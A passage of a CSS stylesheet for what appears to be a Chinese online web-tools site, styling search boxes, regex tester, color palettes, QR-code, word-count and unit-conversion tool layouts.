width:970px;}\n/*port-end*/\n\n\n/*saomiao*/\n.SMSearTxt{ width:690px; border:none; border:1px solid #c6cede; background-color:#fff; min-height:103px;padding:7px 5px; line-height:24px; font-size:16px; white-space:normal;}\n.SMSearBtn{ height:35px; line-height:35px; color:#fff; background-color:#55a7e3; border:none; font-size:14px;}\n.SMSearBtn:hover{filter: alpha(opacity=80);opacity: 0.8;}\n\n.ResultWrap .ResultListwrap,.ResultWrap .ResultListHead{ width:100%; min-height:40px;}\n.ResultWrap .ResultListwrap:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n.ResultWrap .ReListhalf{line-height:30px; padding-top:5px; padding:5px; display:inline-block; float:left; color:#444444; text-align:center;}\n.ResultWrap .ResultListwrap .w220,.ResultWrap .ResultListHead .w220{ width:180px;}\n.ResultWrap .ResultListwrap .w350,.ResultWrap .ResultListHead .w350{ width:300px;}\n.ResultWrap .ResultListwrap .w510,.ResultWrap .ResultListHead .w510{ width:400px;}\n/*saomiao*/\n\n\n\n\n/*CssZaiXianWrap-begin*/\n.CssZaiXianWrap{ width:1170px; border:1px solid #c6cede;}\n.CssZaiXianWrap .CssheadWrap{ background-color:#f1f9ff; width:1170px; }\n.CssZaiXianWrap .CssheadTop{height:30px; line-height:30px; padding:5px 5px 2px;}\n.CssZaiXianWrap .CssheadTop .Typeleft{ display:inline-block; padding-left:20px; font-size:14px;}\n.CssZaiXianWrap .CssheadTop .Typeleft a{ display:inline-block; float:left; margin:0px 15px; color:#56688a; padding:0px 10px;}\n.CssZaiXianWrap .CssheadTop .Typeleft a:hover{ color:#0474c8;text-decoration:none; }\n.CssZaiXianWrap .CssheadTop .Typeleft a.TyLcurt{ text-decoration:none; border-bottom:3px solid #0474c8; font-weight:bold;}\n.CssZaiXianWrap .CssheadTop .BtnRig{ font-size:16px; font-family: 'Microsoft YaHei';}\n.CssZaiXianWrap .CssheadTop .BtnRig a{ border:1px solid #c6cede; color:#147dcc;padding:0px 15px; border:1px solid #c6cede; margin-right:10px; height:28px; line-height:28px;}\n.CssZaiXianWrap .CssheadTop .BtnRig a.BtnRcurt,.CssZaiXianWrap .CssheadTop .BtnRig a:hover{text-decoration:none; border:1px solid #55a7e3;filter: alpha(opacity=80);opacity: 0.8;}\n\n.CssZaiXianWrap .CssheadBoot{ padding:10px;}\n\n\n.CssZaiXianWrap .CssCententWrap{ width:1170px;}\n\n.CssCent-top{ width:100%; border-bottom:1px solid #dfe4ee;}\n.cssCentHead{ height:30px; line-height:30px; background-color:#f1f9ff; width:565px; padding:0px 10px; border-bottom:1px solid #c6cede; color:#0474c8; font-weight:normal;}\n.CssCent-left,.CssCent-right{ width:584px; float:left; overflow:hidden;}\n.CssCent-left textarea,.CssCent-right textarea{border:none; padding:10px; font-size:14px;}\n.CssCent-left textarea{ width:563px;} \n.CssCent-right textarea{ width:564px;} \n.h245{height:245px;}\n.h215{height:215px;}\n.h266{ height:266px;}\n\n.CssCdome{ width:700px; min-height:350px; overflow:hidden; background-color:#ece9d8; margin:10px auto;}\n \n.pusmall .CssZaiXianWrap,.pusmall .CssZaiXianWrap .CssheadWrap,.pusmall .CssZaiXianWrap .CssCententWrap{ width:970px;}\n.pusmall .CssCent-left,.pusmall .CssCent-right{width:484px;}\n.pusmall .CssCent-left textarea{ width:463px;} \n.pusmall .CssCent-right textarea{ width:464px;} \n\n /*CssZaiXianWrap-end*/\n\n\n/*GuoLvWrap-begin*/\n.GuoLvWrap{ width:1170px;} \n.GuoLvWrapAgo,.GuoLvWrapAfter{ width:1148px; padding:5px 10px; line-height:30px; font-size:14px;}\n.GlOtherWay,.GuoLvWay,.GuoLvCbtn{ display:inline-block; float:right;}\n.GlOtherWay span,.GlOtherWay input,.GuoLvWay span,.GuoLvWay input,.GuoLvCbtn input{ display:inline-block; float:left;}\n.GuoLvCbtn input{ padding:0px 12px; border:none; height:35px; color:#0474c8;font-size:14px; line-height:35px; text-align:center; margin-left:10px; _padding:0px 7px;}\n.GuoLvCbtn input:hover{filter: alpha(opacity=80);opacity: 0.8;}\n.GuoLvCbtn input.GLOkBtn:hover{  filter: alpha(opacity=80);opacity: 0.8; }\n.GuoLvCbtn input.GLOkBtn{ background-color:#55a7e3; color:#fff;font-family: 'Microsoft YaHei';}\n\n.GuoLvWay{ padding-top:7px;}\n.GuoLvWay span{ font-size:12px; color:#747d87; padding:0px 15px 0px 5px;}\n.GuoLvWay input{ margin-top:2px;}\n.GlOtherWay{ padding-right: 10px;}\n.GlOtherWay input{ height:28px; border:1px solid #e8e8e8; padding:0px 5px; *line-height:28px;}\n.GlOtherWay span{ padding:7px 5px 0px 5px; color:#0474c8;}\n\n.pusmall .GuoLvWrap{ width:970px;}\n.pusmall .GuoLvWrapAgo,.pusmall .GuoLvWrapAfter{ width:948px;}\n.pusmall .GuoLvCbtn input{padding:0px 7px;}\n\n/*GuoLvWrap-begin*/\n\n\n.search-write-choese{height:40px; z-index:3;}\n.search-choese-cont{cursor: pointer; padding: 5px 7px; width: 90px;color:#747d87;height:28px;line-height:28px;font-size:14px;border:solid #c6cede;border-width:1px 0px 1px 1px; letter-spacing:normal;display: inline-block;-webkit-user-select:none;-moz-user-select:none;}\n.icon-drop-down{position: absolute;right: 10px;top: 17px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;}\n.search-choese-down{position: absolute;top: 40px;width:104px;left: 0px;right: 0px; display:none;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;padding: 0px;margin: 0px;z-index: 1;font-size:14px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;}\n.search-choese-down li{line-height:30px;cursor: pointer;text-align:left;}\n.search-choese-down li:hover{background: #f5f5f5;}\n.search-choese-down li a{color:#747d87;padding-left: 7px; display:block;}\n.search-choese-down li a:hover{text-decoration:none;}\n\n\n\n/*chakanyuandaima-bein*/\n.TabheadWrap{ height:24px; line-height:24px; padding:5px 0px;}\n.TabheadWrap span,.TabheadWrap a{ display:inline-block; float:left; height:24px; padding:0px 5px; color:#747d87;}\n.TabheadWrap a{ background-color:#f1f9ff; color:#0474c8; padding:0px 15px;}\n.TabheadWrap a.Tabon{ background-color:#55a7e3; color:#fff;}\n.TabheadWrap a:hover{ text-decoration:none; filter: alpha(opacity=80);opacity: 0.8;}\n\n\n/*OpenCanShu-wrap-begin*/\n.OpenCanShu-wrap{ padding:0px 15px 15px; width:1170px;}\n.OpenCanShu-top label,.OpenCanShu-top input{ display:inline-block; float:left; padding-right:20px;}\n.OpenCanShu-top input{ padding:0px 5px;}\n.OpenCanShu-top input.OCStxt{ border:1px solid #c6cede; background-color:#fff; height:26px; line-height:26px;}\n.OpenCanShu-top label{ line-height:28px; padding:0px 10px;}\n\n.pusmall .OpenCanShu-wrap{ width:1170px;}\n\n/*filter-Title-begin*/\n.DelHeadFilter li,.DelHeadFilter li.casual{ height:auto; padding:5px 0px;}\n.filter-contlist .item{float:left;overflow:hidden; }\n.filter-contlist .item li.PLcx,.filter-contlist .item li{float:left;margin-right:6px;height:20px;line-height:20px;overflow:hidden; position:relative;}\n.filter-contlist .item li.PLcx{margin: 0px 10px 0;}\n.filter-contlist .item li input{position:absolute;top:0;left:0;opacity:.01;filter:alpha(opacity=0.1)}\n.filter-contlist .item li p,.filter-contlist .item li p.rado{float:left;display:inline;padding:0 4px 0 25px;background:url(http://cdn.chinaz.com/tools/images/del/ico-del.png) 0px -12px no-repeat; color:#333; } \n.filter-contlist .item li p label,.filter-contlist .item li p.rado lable{display:inline-block; cursor:pointer;}\n.filter-contlist .item li p:hover,.filter-contlist .item li p.rado hover{background-position:0px -47px}\n.filter-contlist .item li.selected p{background-color:#55a7e3;color:#fff;background-position:0px -78px}\n.filter-contlist .item li.disabled p{background-position:0px -116px}\n.filter-contlist .item li.selected02 p{background-color:#55a7e3;color:#fff;background-position:0px -78px}\n.filter-contlist .item li.selected02 p{background-position:0px 246px}\n/*pusmall*/ \n.pusmall .filter-contlist .item li.PLcx,.filter-contlist .item li{ margin:0 2px;}\n.pusmall .DelHeadFilter li.filter-contlist ol.w1070{ width:890px;}\n\n\n\n\n\n\n/*zhengzeceshi*/\n.RegularWrap{ padding:0px 10px 10px; width:1180px;}\n.RegbuttonBarWrap{ padding:10px;}\n.RegbuttonBarWrap .RegBtnBar{ padding-top:10px;}\n.RegbuttonBarWrap .RegBtnBar a{ display:inline-block; float:left; *float:none; padding:0px 10px; height:22px; line-height:22px; border:1px solid #c6cede; background-color:#fff; color:#56688a; margin:5px 10px;}\n.RegbuttonBarWrap .RegBtnBar a:hover{ background-color:#f1f9ff;text-decoration:none;}\n\n\n/*search-write-wrap-begin*/\n.RegularSearWrite-wrap{margin:0 auto; display:block;}\n.RegularSearWrite-left{display:inline-block;font: 16px arial; margin:0;zoom:1; float:left;}\n.RegularSearWrite-left{border:solid #c6cede;height: 28px;border-image: none;background: #FFF; vertical-align: top;overflow: hidden;}\n.RegularSearWrite-left{border-width:1px 0px 1px 1px; } \n.pusmall .RegularSearWrite-wrap span.w820{ width:600px;}\n\n.RegularSearWrite-cont{float:left; height: 22px; line-height:22px; margin: 3px 0px 0px 10px; padding: 0px; background: transparent none repeat scroll 0% 0%; border: 0px none; outline: 0px none;}\n.RegularSearWrite-right{width:110px;}\n.RegularSearWrite-btn{width:110px; background:#55a7e3; color:#fff;font-size: 14px;height:30px;padding: 0px;border: 0px none;cursor: pointer;}\n.RegularSearWrite-btn:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n.RegularSearWrite-left .wbtnLink{ font-size:12px; color:#0474c8; line-height:30px; height:30px;letter-spacing:normal; *width:55px;}\n.RegularSearWrite-left .quickdelete{background:url(http://cdn.chinaz.com/tools/images/public/quickdelete.png) 7px 7px no-repeat; width:32px; height:22px; position:absolute; right:0; top:0; display:none;}\n.RegularSearWrite-left .search-hint,.RegularSearWrite-left .search-hint02{font-size:14px; color:#c0c1c4; position:absolute; left:13px;margin-top:5px; *margin-top:7px;letter-spacing:normal; font-weight:normal; z-index:0; top:0;}\n\n\n.ResultContWrap{ padding:10px; width:1150px;}\n.ResultContHead{ height:30px;}\n.ResultContMain{ width:1150px;}\n.ResultContMain .ResultContMainTxt{ line-height:30px; font-size:14px; padding:5px 10px; width:1130px;}\n\n.ResultContWrap,.ResultContWrap02{ width:1170px;}\n.ResultContWrap02{ border:1px solid #c6cede; border-right:none;}\n.ResultContWrap02 li{ width:584px; float:left; border-right:1px solid #c6cede;}\n.ResultContWrap02 .RCW02textar{ height:125px; border:none; width:564px; padding:10px; font-size:14px; color:#747d87;}\n.ResultContWrap02 .RCW02textar textarea.RCW02textar{ border:none;}\n\n.pusmall .ResultContWrap02{ width:980px;}\n.pusmall .ResultContWrap02 li{ width:489px;}\n.pusmall .ResultContWrap02 .RCW02textar{ width:468px;}\n\n.pusmall .RegularWrap{ width:980px;}\n.pusmall .ResultContMain,.pusmall .ResultContWrap{ width:960px;}\n.pusmall .ResultContMain .ResultContMainTxt{ width:930px;}\n\n/*htmlteshufuhao-begin*/\n.ColorHead{ padding-bottom:10px; overflow:hidden;}\n.ColorHead span,.ColorHead input{ display:inline-block; height:30px; line-height:30px;}\n.ColorHead input{ border:1px solid #c6cede; font-size:16px; color:#56688a; padding-left:5px;}\n\n.Tsfuhao-Wrap,.Tsfuhao-Wrap02{ width:98%;font-size: 14px;}\n.CorXuanzeqW{}\n.CorXuanzeqW .CorXtit{ padding:10px 0px;}\n.CorXuanzeqW .CorXtit strong{ width:120px; height:30px; line-height:30px; font-size:14px; color:#fff; display:block; background-color:#55a7e3; text-align:center;}\n.CorXuanzeqW  th,.CorXuanzeqW  td{ border-collapse: collapse;padding: 7px;text-align:center;}\n.CorXuanzeqW  td { border: 1px solid #f5f5f5; padding: 7px; color:#56688a;}\n.CorXuanzeqW  th { border: 1px solid #f5f5f5; background-color:#869AC2; color:#fff; font-weight:normal;}\n\n\n.Tsfuhao-Wrap02 table{ *border-left:1px solid #c6cede; *border-bottom:1px solid #c6cede;_border-left:1px solid #c6cede; _border-bottom:1px solid #c6cede;}\n.Tsfuhao-Wrap02 th,.Tsfuhao-Wrap td{border: 1px solid #c6cede;border-collapse: collapse;padding: 7px; *border-left:none; *border-bottom:none;}\n.Tsfuhao-Wrap02 .Pspan {color: #336699;font-size: 14px; padding-right:10px;}\n.Tsfuhao-Wrap02 .box1{padding: 3px 15px;}\n.Tsfuhao-Wrap02 .Ptable{ width:99%; margin-left:25px; border-left:1px solid #c6cede;}\n.Tsfuhao-Wrap02 .Ptable li{ padding:5px 10px; border-bottom:1px solid #c6cede;  border-right:1px solid #c6cede;}\n.Tsfuhao-Wrap02 .Ptable li.tbor{border-top:1px solid #c6cede;}\n.Tsfuhao-Wrap02 .Ptd {width:10.3%;color: #369; float:left;}\n\n.pusmall .Tsfuhao-Wrap02 .Ptable{ margin-left:10px;}\n\n\n\n\n/*html-colortiaoseban-begin*/\n.TsCorBan-Wrap{font-family: 'Microsoft YaHei';}\n.TsCorBan-Wrap .TableCent01 th,.TsCorBan-Wrap .TableCent01 td{border: 1px solid #c6cede;border-collapse: collapse;}\n.TsCorBan-Wrap .TableCent02 th,.TsCorBan-Wrap .TableCent02 td{ width:100%; height:100%;border: 1px solid #c6cede;border-collapse: collapse;}\n\n/*html-colorChangYong-begin*/\n.CorContent{ width:98%; padding:10px 0px; position:relative;}\n.CorContent h1{ font-size:20px;}\n.CorContent h2{ font-size:16px;}\n.CorContent h1,.CorContent h2{color: #fff;padding: 2px 4px;background-color: #56688a; font-weight:normal;}\n.CorContent h2{margin: 10px 0px;}\n.CorContent h3{padding: 2px 4px; line-height:30px; color:#56688A;}\n.CorContent .CorConList{ width:1175px; clear:both;}\n.CorContent .boxc,.CorContent .boxr{float: left;display: block;padding: 30px 0px 0px;width: 85px;margin-bottom:4px;}\n.CorContent .boxc{margin-right: 4px;}\n.CorContent .boxr{margin-right: 30px;}\n.CorContent .blockQuote{ padding:7px 14px; margin-bottom:10px; background-color:#dfe4ee; color:#960; line-height:24px;clear:both;} \n\n\n.CorCYnavbar{ width:1200px; position:fixed; right:auto; *right:auto; /**right:-13px;_right:0px;*/ bottom:0px;  /*margin-left:-13px;*position:absolute;_position:absolute; */text-align:center; background-color:#929db3;}\n.CorCYnavbar a,.CorCYnavbar span{ display:block; height:30px; line-height:30px; color:#fff;border-bottom:1px solid #929db3;}\n.CorCYnavbar a{ padding:0px 20px; margin-right:1px; background-color:#56688a; float:left;}\n.CorCYnavbar span{ background-color:#929db3; display:block; border-bottom:1px solid #fff;}\n.CorCYnavbar a:hover{ text-decoration:none;filter: alpha(opacity=80);opacity: 0.8;}\n.CorCYnavShow{ width:30px; padding:3px 5px; color:#fff; text-align:center;position:fixed; z-index:99;/**position:absolute; _position:absolute;*/right:15px; *right:15px; bottom:55px; *bottom:55px;border-radius: 3px; background-color:#56688a; cursor:pointer;} \n.CorCYclose{ width:20px; height:20px; position:absolute; right:15px; top:5px; color:#fff; cursor:pointer;}\n\n.pusmall .CorContent .CorConList{ width:975px;}\n.pusmall .CorContent .boxc,.pusmall .CorContent .boxr{padding: 58px 0px 0px;width: 68px;}\n.pusmall .CorCYnavbar{ width:1000px;}\n\n\n\n\n/*html-colorChuanTongPeiSe-begin*/\n.CorTongHead{ font-size:18px; padding:10px 0px; text-align:right; border-bottom:1px solid #c6cede;}\n.CorTongHead a{ background-color:#fff; padding:0px 20px; margin-left:15px;}\n.CorTongHead a.CorCurrt,.CorTongHead a:hover{ text-decoration:none;}\n.CorTongHead a:hover{filter: alpha(opacity=80);opacity: 0.8; }\n.CorTongHead a.CorCurrt{ background-color:#56688A; color:#fff;}\n.CTCor-centtainer{max-width:1180px; _width:1180px; margin:0 auto; padding:0px 10px;}\n.CTCor-centtainer .white,.CTCor-centtainer .white a,.CorConList .white{color:#FFF;}\n.CTCor-centtainer ul {float: right; width: 118px;}\n.CTCor-centtainer ul li{display: block; padding:5px; margin:0 2px 2px 0; cursor:pointer;}\n#tester{ padding:5px 10px; margin: 18px 0 0 60px; display:none; position:absolute; font-size:12px;}\n.CTCor-centtainer ul li a{ color:#333;}\n.CTCor-centtainer ul li a span{display: block; font-size:14px; cursor: pointer;}\n.pusmall .CTCor-centtainer{max-width:980px; _width:980px;}\n\n \n/*ChuTu-upload-Corlor-begin*/\n.ChuTu-upload-con{padding:0px 10px 0px 10px;}\n.ChuTu-upload-con .ChuTu-upload-img{border:#C6CEDE 2px solid;text-align: center;background: #fff; height:325px;}\n.ChuTu-upload-con .ChuTu-upload-img .CtupLimgBtnWrap{ width:120px;height:30px; padding-top:150px;}\n.ChuTu-upload-con .ChuTu-upload-img .CtupLimgBtnWrap .CtupLimgBtn{ height:30px; line-height:30px; cursor:pointer;}\n.ChuTu-upload-con .ChuTu-MainColor{padding: 10px 0;font-size: 16px;}\n.ChuTu-upload-con .ChuTu-MainColor .tit,.ChuTu-CTpse .tit{line-height: 30px; background-color:#c6cede; margin-bottom:10px; padding-left:10px;}\n.ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl{float: left;width: 234px;height: 72px;cursor: pointer;  margin-right: 2px;}\n.ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dd{height: 40px;}\n.ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dt{text-align: center;line-height: 30px;height: 30px; margin-top:2px; color:#56688a; background-color:#e8e8e8;}\n.ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl dt.tishi{text-align: center;color: #ff0000;}\n.pusmall .ChuTu-upload-con .ChuTu-MainColor .CTCor-cent dl{width: 190px;}\n.pusmall .ChuTu-CTpse .CTCor-cent dl{ width:67px;}\n.ChuTu-CTpse{background: #fff;margin: 1px;padding:0px 10px 0px 10px;font-size: 16px;overflow: hidden} \n.ChuTu-CTpse .CTCor-cent{width: 100%}\n.ChuTu-CTpse .CTCor-cent dl{float: left;width: 77px;height: 70px;margin-right: 12px;cursor: pointer;}\n.ChuTu-CTpse .CTCor-cent dl dd{height: 42px;margin-bottom: 5px;}\n.ChuTu-CTpse .CTCor-cent dl dt{text-align: center;line-height: 20px;font-size: 14px; color:#56688a; background-color:#E8E8E8;}\n.ChuTu-CTpse .CTCor-cent dl dt.tishi{text-align: center;color: #ff0000;}  \n/*Uploadify*/\n.uploadify{position: relative;margin-bottom: 1em;cursor: pointer;}\n.uploadify-button{background-color: #55a7e3;color: #FFF;text-align: center;width: 100%;}\n.uploadify:hover .uploadify-button,.CtupLimgBtn:hover{filter: alpha(opacity=80);opacity: 0.8;}\n.uploadify-button.disabled{background-color: #2F87C1;color: #808080;}\n.uploadify-queue{margin-bottom: 1em;}\n.uploadify-queue-item{background-color: #F5F5F5;-webkit-border-radius: 3px;-moz-border-radius: 3px;border-radius: 3px;margin-top: 5px;max-width: 350px;padding: 10px;}\n.uploadify-error{background-color: #FDE5DD !important;}\n.uploadify-queue-item .cancel a{background:url(uploadify-cancel.png) 0 0 no-repeat;float: right;height:16px;text-indent: -9999px;width: 16px;}\n.uploadify-queue-item.completed{background-color: #E5E5E5;}\n.uploadify-progress{background-color: #E5E5E5;margin-top: 10px;width: 100%;}\n.uploadify-progress-bar{background-color: #0099FF;height: 3px;width: 1px;}\n\n/*web-ColorSafeColors-begin*/\n /*filter-choese-begin*/  \n.SafeCorCent-down{ width:1170px;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto; display:block;}\n.SafeCorCent-down li{line-height:30px;cursor: pointer;text-align:left; float:left;}\n.SafeCorCent-down li a{color:#747d87; display:inline-block;padding:0px 10px;}\n.SafeCorCent-down li a:hover{text-decoration:none;background: #f5f5f5; color:#747d87;}\n.SafeCorCent-down li.bg-blue03 a{color:#fff;}\n.SafeCorCent-down li.bg-blue03 a:hover{ color:#fff; background-color:#55a7e3;}\n.pusmall .SafeCorCent-down{width:980px;}\n\n.ColorCentWrap{ padding-left:15px; overflow:hidden;}\n.ColorCentWrap h2{ padding-bottom:10px; margin-bottom:10px; text-align:right; width:98%; border-bottom:1px solid #c6cede; clear:both;}\n\n.color{padding-bottom: 1em; text-align: center;}\n.col{width: 14.2%; _width: 14.5%; padding: 0px 1% 1% 0px; height:auto; box-sizing: border-box; float: left; overflow:hidden;}\n.swatches{ overflow:hidden;}\n.color .swatch{height: 120px; width: 100%; border-top-left-radius: 8px; border-top-right-radius: 8px;}\n.color .swatch, .color h3{display: block;/* float: left; border: 1px solid #E6E6E6;*/ width:100%; height:80px; box-sizing: border-box;}\n.color h3{border: 1px solid #E6E6E6;}\n.color h3{width: 100%; height: 50px; border-top: 0px none; padding: 0.5em; _padding: 0;font-size: 0.8em; margin-bottom: 0px; background: #FAFAFA none repeat scroll 0% 0%;}\n.color h3 .html, .color h3 .rgb{display: block;font-size: 1em; height:20px; line-height:20px;}\n.color h3 .html b{ float: left;}\n.color h3 .html b, .color h3 .rgb b{display: block; padding-right: 0.25em; color: #333; box-sizing: border-box;  font-weight: normal;}\n.color h3 .html b{ width: 45%; text-align:left;}\n.color h3 .rgb b{float: right; }\n.color h3 .html span, .color h3 .rgb span{box-sizing: border-box; float: left; padding-right: 0.25em;font-weight: normal;}\n.color h3 .html b.fr, .color h3 .rgb b{  text-align: right;}\n\n/*web-UseKuoZhanMing-begin*/\n.ResultListWrap .DelListCent{ line-height:40px; *margin-top:-4px;}\n.ResultListWrap .DelRLHead div,.ResultListWrap .DelRLlist div,.ResultListWrap .DelRLHead p{ display:inline-block; float:left; padding:0px 5px; text-align:center;}\n.ResultListWrap .DelRLHead:hover{ }\n.ResultListWrap .DelRLHead{ color:#56688a; background-color:#dfe4ee; height:40px; overflow:hidden;}\n.ResultListWrap .DelRLlist{ color:#747d87; height:40px; overflow:hidden;} \n.ResultListWrap .DelRLlist div{ height:40px; line-height:40px; overflow:hidden;}\n.ResultListWrap .DelListCent div.listImg { text-align:center;}\n.ResultListWrap .DelListCent div.listImg a{ height:40px;display:table-cell;vertical-align:middle; width:inherit;}\n.ResultListWrap .DelListCent div.listImg a img{display:inline-block;vertical-align:middle; *margin-top:10px;}\n.ResultListWrap .DelRLlist span,.ResultListWrap .DelRLlist span.adSpon{ overflow:hidden; height:40px; display:inline-block;}\n.keywords-box{width:290px;padding:2px;}\n.keywords-box textarea{ height:150px;width:95%;border:1px solid #c6cede; background-color:#fff; padding:5px; line-height:30px; }\n.keywords-list{ width:870px;}\n.keywords-list li.DelRLlist{ border-bottom:1px solid #e8e8e8;}\n.ResultListWrap.keywords-list li{ line-height:30px;height:30px;}\n.pusmall .keywords-list{ width:680px;}\n.pusmall .keywords-list li.DelListCent div.w32-0{ width:30%;}\n\n.UseRetrievalWrap{ padding-top:20px; width:98%;}\n.UseRetrievalWrap p{ height:auto; overflow:hidden; padding-bottom:10px;}\n.UseRetrievalWrap p span{ display:inline-block; float:left; color:#747d87; line-height:24px;}\n.UseRetrievalWrap p a{ display:inline-block; float:left; padding:0px 7px; background-color:#fff; border:1px solid #c6cede; margin-right:10px; margin-bottom:10px; font-size:14px;font-family: 'Microsoft YaHei'; color:#888888;}\n.UseRetrievalWrap p a:hover{ text-decoration:none; background-color:#f1f9ff;}\n\n\n/*web-UseErWeiMa-begin*/\n.ErWcodeBtn{ font-size:14px;}\n.ErWcodeBtn input,.AnalysisCent-left .ALTextBtnWrap input{display:inline-block; float:left; border:none; text-align:center; height:35px; line-height:35px;}\n.ErWcodeBtn input.currtBtn:hover{ background-color:#2f87c1 !important;}\n.ErWcodeBtn input.currtBtn{  color:#fff; background-color:#55a7e3;}\n.ErWcodeBtn input.LinkBrn{ background-color:#f1f9ff; color:#0474c8;}\n.ErWcodeBtn input.LinkBrn:hover{ background-color:#c2dbed !important;}\n.ScErWeimaImg{ width:150px; height:150px; border:1px solid #c6cede;}\n\n.PjErWeimaWrap{ padding-top:30px; padding-bottom:30px;}\n.PjErqrcode{width: 213px;height: 80px; border: 1px solid #f1f9ff; cursor:pointer; background: url(http://cdn.chinaz.com/tools/images/public/tool-pus.png) center center #f1f9ff no-repeat;}\n.PjErqrcode #SWFUpload_0{ width:213px; height:80px; cursor:pointer;} \n\n/*web-Font-DanCiTongJi-begin*/\n.FontDanCiWrap{ width:98%;}\n.AnalysisCent{}\n.AnalysisCent-left{ width:870px;}\n.AnalysisCent-left textarea{border:1px solid #c6cede; background-color:#fff; padding:10px; line-height:22px; width:848px; height:210px;}\n.AnalysisCent-left .ALTextBtnWrap{ padding-top:10px;}\n.AnalysisCent-left .ALTextBtnWrap input{ display:inline-block; text-align:center; float:right;}\n.AnalysisCent-right{ width:290px;}\n.AnalysisCent-right li{ height:20px; line-height:20px; padding:5px; width:280px; border-bottom:1px solid #e8e8e8; _margin-top:-2px;}\n.AnalysisCent-right li span,.AnalysisCent-right li strong{ display:inline-block;  overflow:hidden; height:30px;text-overflow: ellipsis;white-space: nowrap; font-size:14px;}\n.AnalysisCent-right li span{float:left; text-align:left; width:72%; color:#747d87;}\n.AnalysisCent-right li span a{ color:#747d87;}\n.AnalysisCent-right li strong{ font-weight:normal; color:#0474c8;float:right; text-align:right; width:25%;}\n\n.pusmall .AnalysisCent .AnalysisCent-left{ width:675px;}\n.pusmall .AnalysisCent-left textarea{width:653px;}\n.ResultListWrap.keywords-list .DelRLlist div{ height:30px; line-height:30px;}\n\n\n\n/*NetWork-begin*/\n.NetWorkWrap{}\n.NetWorkWrap .MainHead{font-family: 'Microsoft YaHei'; font-size:16px; font-weight:normal; color:#0474c8; padding:5px 10px;}\n\n.NetWorkWrap .NetWork-main01{ width:100%;}\n.NetWorkWrap .MainCent{}\n.NetWorkWrap .MainCent .MCentlist{ padding-left:10px; height:auto; *padding-right:7px; *height:26px;}\n.NetWorkWrap .MainCent .MCentlist label,.NetWorkWrap .MainCent .MCentlist input{ display:inline-block; float:left; line-height:22px;}\n.NetWorkWrap .MainCent .MCentlist label{ line-height:24px;}\n.NetWorkWrap .MainCent .MCentlist input{ margin-left:10px; *margin-left:5px;}\n.NetWorkWrap .MainCent .MCentlist input.Intxt{ background-color:#fff; border:1px solid #c6cede; height:22px; width:43px; padding-left:2px;}\n.NetWorkWrap .MainCent .MCentlist input.Inbtn{ background-color:#f1f9ff; border:1px solid #c6cede; height:24px; width:45px; color:#0474c8;}\n.NetWorkWrap .MainCent .MCentlist input.Inbtn:hover,.UnitCountCent li input.UccBtn:hover{border:1px solid #a9d6f7;filter: alpha(opacity=80);opacity: 0.8;}\n\n.NetWork-left,.NetWork-right{width:48%; padding:1%; _width:47.5%; float:left;}\n.pusmall .NetWork-left,.pusmall .NetWork-right{ _width:470px;}\n\n.ObtainList{ position:absolute; display:block; width:500px; max-height:700px;font-family: 'Microsoft YaHei'; padding:20px; background-color:#fff; border:1px solid #c6cede; left:-300px; top:200px; overflow-y:scroll;}\n.ObtainList table { border-top:1px solid #c6cede; border-left:1px solid #c6cede; font-size:14px;}\n.ObtainList table th,.ObtainList table td{ text-align:center;border-bottom:1px solid #c6cede; border-right:1px solid #c6cede;}\n.ObtainList table td{ padding:5px 10px;}\n.ObtLClose{ display:inline-block; height:24px; width:24px; text-align:center; line-height:24px; position:absolute; right:0px; top:0px;font-size:16px;}\n.ObtLClose:hover{ text-decoration:none; background-color:#f1f9ff; filter: alpha(opacity=80);opacity: 0.8;}\n\n /*NetWorkWrap-choese-begin*/  \n.NetWorkW-choese{height:24px;display:inline-block; }\n.NetWorkW-cont{cursor: pointer; background-color:#fff; padding: 0px 5px;color:#747d87;height:22px;line-height:22px;font-size:12px;border:solid #c6cede;border-width:1px; display: inline-block;-webkit-user-select:none;-moz-user-select:none;}\n.NWicon-drop-down{position: absolute;right: 5px;top: 10px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;}\n.NetWorkC-down{position: absolute;top: 24;left: 0px;right: 0px;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;z-index: 1;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;display:none;}\n.NetWorkC-down li{line-height:21px;cursor: pointer;text-align:left;}\n.NetWorkC-down li:hover{background: #f5f5f5;}\n.NetWorkC-down li a{color:#747d87; display:block;padding-left: 7px;}\n.NetWorkC-down li a:hover{text-decoration:none;}\n\n\n\n\n/*UnitCountWrap-begin*/\n.UnitCountWrap{ height:auto;}\n.UnitCountCent{ overflow:hidden; padding:0px 0px 10px 0px;font-family: 'Microsoft YaHei';}\n.UnitCountCent li{ display:inline-block; float:left; width:30%; margin-left:1.5%; height:30px; padding:10px 0 10px 1px; text-align:right; border-bottom:1px solid #f8f8f8;}\n.UnitCountCent li label,.UnitCountCent li input{ display:inline-block; height:30px; line-height:30px;}\n.UnitCountCent li label{ float:left;}\n.UnitCountCent li input{float:right;}\n.UnitCountCent li label{ color:#56688a; padding-right:10px;}\n.UnitCountCent li label span{ display:block; height:16px; line-height:16px; width:100%}\n.UnitCountCent li label span.unit{ height:14px; line-height:14px; color:#888888;}\n\n.UnitCountCent li input.UccTxt{ border:1px solid #c6cede; height:28px; color:#747d87; font-size:18px; padding:0px 5px; width:130px;_width:145px;}\n.UnitCountCent li input.UccBtn{background-color:#f1f9ff; border:1px solid #c6cede;height:30px; padding:0px 10px; margin-left:5px; margin-right:5px; color:#0474c8;}\n.UnitCountWrap .UccAllBtn{ background-color:#55a7e3; width:100px; height:30px; border:none; color:#fff;font-family: 'Microsoft YaHei'; font-size:14px;}\n.UnitCountWrap .UccAllBtn:hover{ filter: alpha(opacity=80);opacity: 0.8;}\n\n.pusmall .UnitCountCent li{ width:31.5%; margin-left:1%;padding:10px 0 10px 1px;}\n.pusmall 